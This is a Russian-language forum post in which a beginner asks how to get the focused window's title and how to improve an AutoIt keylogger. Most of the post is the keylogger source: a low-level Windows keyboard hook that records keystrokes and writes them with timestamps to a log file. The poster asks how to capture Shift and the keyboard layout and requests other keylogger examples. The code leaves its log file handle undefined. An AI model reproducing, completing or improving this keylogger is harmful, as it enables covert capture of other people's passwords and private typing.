seallaes
Newbie | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору Подскажите новичку. 2 вопроса: 1) как получить название окна, который находится в Фокусе? 2) пытаюсь написать кейлоггер. нашёл код, который использовал. Получилось как-то так: Global $hHook, $pStub_KeyProc Global $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr") Global $hmod = DllCall("kernel32.dll","hwnd","GetModuleHandle","ptr",0) Global $hHook = DllCall("user32.dll","hwnd","SetWindowsHookEx","int", _ $WH_KEYBOARD_LL,"ptr",DllCallbackGetPtr($pStub_KeyProc),"hwnd",$hmod[0],"dword",0) Global $buffer = "" While 1 Sleep(10) WEnd Func EvaluateKey($keycode) ToolTip($keycode&@KBLayout&" ",0,20) If (($keycode > 22) And ($keycode < 91)) _ Or (($keycode > 47) And ($keycode < 58)) Then $buffer &= Chr($keycode) ToolTip($buffer,0,0) ElseIf ($keycode > 159) And ($keycode < 164) Then Return EndIf If $keycode = 8 Then $buffer = StringLeft( $buffer, StringLen($buffer)-1 ) If $keycode = 13 Then FileWriteLine($File, @HOUR&":"&@MIN&":"&@SEC&" "&$buffer&@CRLF) $buffer = '' EndIf EndFunc Func _KeyProc($nCode, $wParam, $lParam) Local $ret,$KEYHOOKSTRUCT If $nCode < 0 Then $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _ "int",$nCode,"ptr",$wParam,"ptr",$lParam) Return $ret[0] EndIf If $wparam = 256 Then $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr",$lParam) EvaluateKey(DllStructGetData($KEYHOOKSTRUCT,1)) EndIf $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _ "int",$nCode,"ptr",$wParam,"ptr",$lParam) Return $ret[0] EndFunc Func OnAutoItExit() DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0]) DllCallbackFree($pStub_KeyProc) FileWriteLine($File, "-----------------------") FileClose($File) EndFunc Но в данном случае не учитывается нажатие Шифта и раскладка клавиатуры. Как можно сделать чтоб это учитывалась? Или может есть у кого пример, как можно сделать кейлоггер? |